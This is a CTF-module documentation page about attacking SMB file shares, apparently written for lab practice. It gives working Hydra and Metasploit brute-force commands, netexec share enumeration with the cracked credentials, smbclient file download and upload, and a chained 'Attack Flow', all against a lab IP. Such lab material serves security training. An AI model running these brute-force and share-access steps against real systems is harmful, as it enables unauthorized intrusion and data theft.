> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/exploitation/password-attacks/network-services/smb.md).

# SMB

## Cracking SMB

### What is SMB

Server Message Block — Windows file sharing protocol. Used for shared folders, printers, and inter-process communication. Port 445.

* Also known as **CIFS** (Common Internet File System)
* Linux equivalent = **NFS**
* Open-source implementation = **Samba**

***

### Brute-force with Hydra

```bash
# SMB only allows 1 parallel task
hydra -L user.list -P password.list smb://10.129.42.197
```

#### If Hydra gives `invalid reply` error

Hydra can't handle SMBv3. Use Metasploit instead:

```bash
msfconsole -q

use auxiliary/scanner/smb/smb_login

set user_file user.list
set pass_file password.list
set rhosts 10.129.42.197
set stop_on_success true

run
```

***

### After finding credentials

#### Enumerate shares

```bash
netexec smb 10.129.42.197 -u "user" -p "password" --shares
```

Example output:

```
SMB  10.129.42.197  445  WINSRV  [+] WINSRV\user:password
SMB  10.129.42.197  445  WINSRV  Share        Permissions
SMB  10.129.42.197  445  WINSRV  ADMIN$
SMB  10.129.42.197  445  WINSRV  C$
SMB  10.129.42.197  445  WINSRV  SHARENAME    READ,WRITE
SMB  10.129.42.197  445  WINSRV  IPC$         READ
```

#### Browse a share

```bash
smbclient -U user \\\\10.129.42.197\\SHARENAME

# Inside smbclient
ls                   # list files
get <filename>       # download file
put <filename>       # upload file
cd <directory>       # change directory
```

***

### Attack Flow

```bash
# Step 1 — brute-force
hydra -L user.list -P password.list smb://10.129.42.197

# If invalid reply error — use MSF
msfconsole -q
use auxiliary/scanner/smb/smb_login
set user_file user.list
set pass_file password.list
set rhosts 10.129.42.197
run

# Step 2 — enumerate shares
netexec smb 10.129.42.197 -u "user" -p "password" --shares

# Step 3 — browse target share
smbclient -U user \\\\10.129.42.197\\SHARENAME
```


---

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